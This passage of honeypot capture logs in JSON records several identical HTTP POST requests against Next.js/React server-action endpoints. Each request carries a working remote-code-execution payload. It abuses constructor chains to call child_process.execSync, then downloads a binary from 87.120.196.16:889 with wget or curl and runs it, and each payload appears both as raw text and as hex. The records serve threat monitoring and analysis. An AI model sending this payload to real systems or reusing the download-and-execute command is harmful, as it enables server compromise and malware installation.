3796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e66205c75303032365c7530303236202e2f2e665c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"e5d47960-4287-4796-94b7-e21ebd5b5145","seq":1,"duration_ms":100,"bytes_in":1609,"bytes_out":78},{"timestamp":"2026-09-10T14:13:07","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1371\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .f http://87.120.196.16:889/agustin51 || curl -k -s -o .f http://87.120.196.16:889/agustin51) \\u0026\\u0026 chmod +x .f \\u0026\\u0026 ./.f\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313337310d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e66205c75303032365c7530303236202e2f2e665c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"ba6f473a-a9b5-451e-bd5f-2aa093c2e7fc","seq":1,"duration_ms":100,"bytes_in":1611,"bytes_out":78},{"timestamp":"2026-09-10T13:46:10","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1371\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .f http://87.120.196.16:889/agustin51 || curl -k -s -o .f http://87.120.196.16:889/agustin51) \\u0026\\u0026 chmod +x .f \\u0026\\u0026 ./.f\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313337310d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e66205c75303032365c7530303236202e2f2e665c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"6d8ce1ab-f752-40a2-b009-db7a59fa3308","seq":1,"duration_ms":100,"bytes_in":1610,"bytes_out":78},{"timestamp":"2026-09-10T12:56:55","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1371\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .f http://87.120.196.16:889/agustin51 || curl -k -s -o .f http://87.120.196.16:889/agustin51) \\u0026\\u0026 chmod +x .f \\u0026\\u0026 ./.f\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313337310d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e66205c75303032365c7530303236202e2f2e665c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"70f8ad79-f83b-4238-aadf-4b3b12fa0d75","seq":1,"duration_ms":100,"bytes_in":1609,"bytes_out":78},{"timestamp":"2026-09-10T12:56:32","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1371\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .f http://87.120.196.16:889/agustin51 || curl -k -s -o .f http://87.120.196.16:889/agustin51) \\u0026\\u0026 chmod +x .f \\u0026\\u0026 ./.f\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313337310d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e66205c75303032365c7530303236202e2f2e665c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"fbfffc0c-1a2c-455f-ae0b-019c20aaeb37","seq":1,"duration_ms":101,"bytes_in":1609,"bytes_out":78},{"timestamp":"2026-09-10T12:15:13","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1371\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .f http://87.120.196.16:889/agustin51 || curl -k -s -o .f http://87.120.196.16:889/agustin51) \\u0026\\u0026 chmod +x .f \\u0026\\u0026 ./.f\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313337310d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e66205c75303032365c7530303236202e2f2e665c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a20